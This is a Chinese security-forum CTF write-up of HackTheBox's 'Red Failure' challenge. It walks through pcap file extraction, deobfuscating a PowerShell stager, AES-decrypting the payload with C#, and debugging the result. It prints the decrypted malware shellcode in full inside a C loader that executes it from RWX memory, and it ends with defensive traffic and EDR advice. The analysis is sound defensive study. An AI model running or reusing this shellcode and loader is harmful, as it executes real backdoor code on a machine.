安全矩阵

 找回密码
 立即注册
搜索
查看: 2800|回复: 0

九维团队-蓝队(防御)| CTF靶场练习杂谈-从流量分析到shel...

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2022-4-29 01:20:16 | 显示全部楼层 |阅读模式

九维团队-蓝队(防御)| CTF靶场练习杂谈-从流量分析到shellcode调试



写在前边
本文介绍了对HackTheBox中的Red Failure靶场进行挑战的过程,主要内容为流量分析、流量解密以及shellcode内容提取。



01
wireshark提取文件


文件下载下来是一个capture.pcap文件,wireshark打开,发现主要是HTTP协议,过滤下内容。

  1. (http.request or tls.handshake.type eq 1 ) and !ssdp
复制代码



发现有下载内容,wireshark导出这三个文件。

02
Shellcode提取


用记事本打开4A7xH.ps1文件,看到文件内容做了一定混淆处理:


借助github上面的反混淆脚本处理后就得可得到。

  1. 项目地址:
  2. https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler
复制代码

*左右滑动查看更多



ps1脚本的作用大概为启动一个explorer.exe进程然后访问目标url获取调用的内容,但是获取的9tVI0的内容是乱码,就要通过dll文件来看他是如何解密的。

使用dotpeek打开user32.dll文件,在Detonator.cs中发现这些传入的数据是如何进行处理的,要获取明文数据,要对其进行AES解密,其中密钥使用密码进行获取。


在AES.cs中就可以看到AES加密的方式,可以得知key的值是password的sha256,iv是数据的前十六位。


既然都知道key、iv的获取方式,现在就可以对数据进行解密了。从wireshark中导出9tVI0的数据出来,用010editor打开就可以获取到值,或者也可以在wireshark中复制

然后可以通过调用dll文件的内容进行shellcode的提取:
  1. using System.Security.Cryptography;
  2. using System.Text;
  3. using System;
  4. using System.Collections.Generic;
  5. using System.Linq;
  6. using System.IO;

  7. public class redfailure
  8. {
  9.     public static void Main()
  10.     {
  11.         string password = "";
  12.         Console.WriteLine("Key:");
  13.         byte[] key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
  14.         using (SHA256 sha256Hash = SHA256.Create())
  15.         {
  16.             string hash = GetHash(sha256Hash, password);
  17.             Console.WriteLine(hash);
  18.         }
  19.         Console.WriteLine("\r\n");
  20.         string data = "9907bb679e1765dcbdb467c1c4b00d213b3f708679dc12e5352ff4ac0fbbdf6a57e4fa094a4d03ffba9ef251c2c57100df04dff882dcd4373e0d0bba5c6b642c4e4d7e2e46bd25c20c5865c027fac0cad8a0120d3e5efd31c8f16fb87bf90718b91b47592fac8834dc1b1c92d1efa0087edd678746421c01d4d22aa3b600649daacd7f0d2f7e9a9c9057c13ea6798c158fd843de556542ac477f20f6386df535a5dd46199b168bb2b13dc32ee1c9d4b20147442d08dfd1941ae034b5ff76a89f01cdf16a35e257927caa02d2b654bb85de2757a0a42793721bbc257d90b757dd0847d331776bb6b96800168f12204938fbec003ce9ab5e90b5bc57b9ac79efc405163028bd0c494d47db4f973d43dd62df1eeb809105afff6d6e8a0ea653ec9c03a620954981f65bdb4714abbdcf1613fce7a844f0c794dd2ba1811435fa62eed2c3da753437bcaa4722739ec365e1d6";
  21.         byte[] dataBytes = StringToByteArray(data);
  22.         byte[] numArray = Decrypt(key, dataBytes);
  23.         Console.WriteLine("Shellcode:");
  24.         Console.WriteLine(BitConverter.ToString(numArray).Replace("-", string.Empty));
  25.     }

  26.     private static string GetHash(HashAlgorithm hashAlgorithm, string input)
  27.     {

  28.         byte[] data = hashAlgorithm.ComputeHash(Encoding.UTF8.GetBytes(input));

  29.         var sBuilder = new StringBuilder();

  30.         for (int i = 0; i < data.Length; i++)
  31.         {
  32.             sBuilder.Append(data[i].ToString("x2"));
  33.         }

  34.         return sBuilder.ToString();
  35.     }

  36.     public static byte[] StringToByteArray(string hex) {
  37.     return Enumerable.Range(0, hex.Length)
  38.                      .Where(x => x % 2 == 0)
  39.                      .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
  40.                      .ToArray();
  41.     }

  42.     private static byte[] PerformCryptography(ICryptoTransform cryptoTransform, byte[] data)
  43.     {
  44.       using (MemoryStream memoryStream = new MemoryStream())
  45.       {
  46.         using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoTransform, CryptoStreamMode.Write))
  47.         {
  48.           cryptoStream.Write(data, 0, data.Length);
  49.           cryptoStream.FlushFinalBlock();
  50.           return memoryStream.ToArray();
  51.         }
  52.       }
  53.     }

  54.     public static byte[] Decrypt(byte[] key, byte[] data)
  55.     {
  56.       using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
  57.       {
  58.         byte[] array1 = ((IEnumerable<byte>) data).Take<byte>(16).ToArray<byte>();
  59.         byte[] array2 = ((IEnumerable<byte>) data).Skip<byte>(16).Take<byte>(data.Length - 16).ToArray<byte>();
  60.         cryptoServiceProvider.Key = key;
  61.         cryptoServiceProvider.IV = array1;
  62.             Console.WriteLine("IV: ");
  63.             Console.WriteLine(BitConverter.ToString(array1).Replace("-", string.Empty));
  64.             Console.WriteLine("\r\n");
  65.         cryptoServiceProvider.Mode = CipherMode.CBC;
  66.         cryptoServiceProvider.Padding = PaddingMode.PKCS7;
  67.         using (ICryptoTransform decryptor = cryptoServiceProvider.CreateDecryptor(cryptoServiceProvider.Key, cryptoServiceProvider.IV))
  68.           return PerformCryptography(decryptor, array2);
  69.       }
  70.     }
  71. }
复制代码

*左右滑动查看更多


03
构建加载器


获取到shellcode后,放入加载器,并在第十行进行断点调试。
  1. #include <stdio.h>
  2. #include <windows.h>
  3. using namespace std;
  4. int main()
  5. {

  6.     char sc[] = "\xdb\xd9\xbe\x47\x7c\xd0\x53\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x48\x31\x72\x19\x03\x72\x19\x83\xea\xfc\xa5\x89\x2c\xbb\xab\x72\xcd\x3c\xcb\xfb\x28\x0d\xcb\x98\x39\x3e\xfb\xeb\x6c\xb3\x70\xb9\x84\x40\xf4\x16\xaa\xe1\xb2\x40\x85\xf2\xee\xb1\x84\x70\xec\xe5\x66\x48\x3f\xf8\x67\x8d\x5d\xf1\x3a\x46\x2a\xa4\xaa\xe3\x66\x75\x40\xbf\x67\xfd\xb5\x08\x86\x2c\x68\x02\xd1\xee\x8a\xc7\x6a\xa7\x94\x04\x56\x71\x2e\xfe\x2d\x80\xe6\xce\xce\x2f\xc7\xfe\x3d\x31\x0f\x38\xdd\x44\x79\x3a\x60\x5f\xbe\x40\xbe\xea\x25\xe2\x35\x4c\x82\x12\x9a\x0b\x41\x18\x57\x5f\x0d\x3d\x66\x8c\x25\x39\xe3\x33\xea\xcb\xb7\x17\x2e\x97\x6c\x39\x77\x7d\xc3\x46\x67\xde\xbc\xe2\xe3\xf3\xa9\x9e\xa9\x99\x2c\x2c\xd4\xec\x2e\x2e\xd7\x40\x46\x1f\x5c\x0f\x11\xa0\xb7\x6b\xed\xea\x9a\xda\x65\xb3\x4e\x5f\xe8\x44\xa5\x9c\x14\xc7\x4c\x5d\xe3\xd7\x24\x58\xa8\x5f\xd4\x10\xa1\x35\xda\x87\xc2\x1f\xfa\x49\x59\xd4\xdb\xe0\xd2\x71\x6e\x2b\x7e\x17\xe7\x47\x12\x82\x85\xb7\xc8\x04\x3e\xfa\x77\xa5\x8e\xca\xb7\xf5\x9e\x59\xe8\xc4\x01\xea\x26\x53\x8a\x7e\x2a\xe2\xad\x18\x82\x66\x35\xd5\x96\xd9\x88\x61\x2b\xc4\xca\xa6\xb2\x6c\x6f\x82\x14\x03\x0a\x80\x74\xb7\xbb\x0b\x15\x2b\x23\xbe\xba\xc6\xdb\x1e\x25\x4d\x71\x36\xcb\xe4\xfa\xbc\x61\x96\x88\x53\xf7\x2b\x51\xc6\x9a\xa2\xfd\x7a\x01\x47\xde\xad\xa8\xc3\x7a\xb2";
  7.     void* mm = VirtualAlloc(0, sizeof sc, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  8.     memcpy(mm, sc, sizeof sc);
  9.     ((void(*)())mm)();
  10.     return 0;
  11. }
复制代码

*左右滑动查看更多


04
Shellcode调试

跳转到反汇编处,关键汇编如下:

  1. 00341042  movs        word ptr es:[edi],word ptr [esi]

  2. 00C00000  fcmovnu     st,st(1)  
  3. 00C00002  mov         esi,53D07C47h  
  4. 00C00007  fnstenv     [esp-0Ch]  
  5. 00C0000B  pop         edx  
  6. 00C0000C  sub         ecx,ecx  
  7. 00C0000E  mov         cl,48h  
  8. 00C00010  xor         dword ptr [edx+19h],esi  
  9. 00C00013  add         esi,dword ptr [edx+19h]  
  10. 00C00016  sub         edx,0FFFFFFFCh
复制代码

*左右滑动查看更多

ECX为1时候到达数据末尾:


05
建议


1.从该后门回连的url是IP地址加上五个由数字和字母组成字符串,可以通过正则匹配来匹配这种特殊http请求,通过使用AiNTA流量分析系统自定义规则对局域网系统流量进行全局监控匹配。

2.也可以通过使用EDR系统中脚本加载的病毒防御功能对于下载powershell脚本进行查杀。


06
总结


总体而言,这道题目的解题思路十分直接,从wireshark提取文件到执行shellcode,考查powershell运作,dll文件读取,shellcode提取以及shellcode运作方式。

在解题过程中,遇到了一些困难,在解密9tVI0上,可以直接调用作者写好方法,而不用找在线解密或者自己写;在分析shellcode过程中,对于汇编语知识的不熟悉,最后笔者也在其中收获良多。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 09:50 , Processed in 0.012901 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表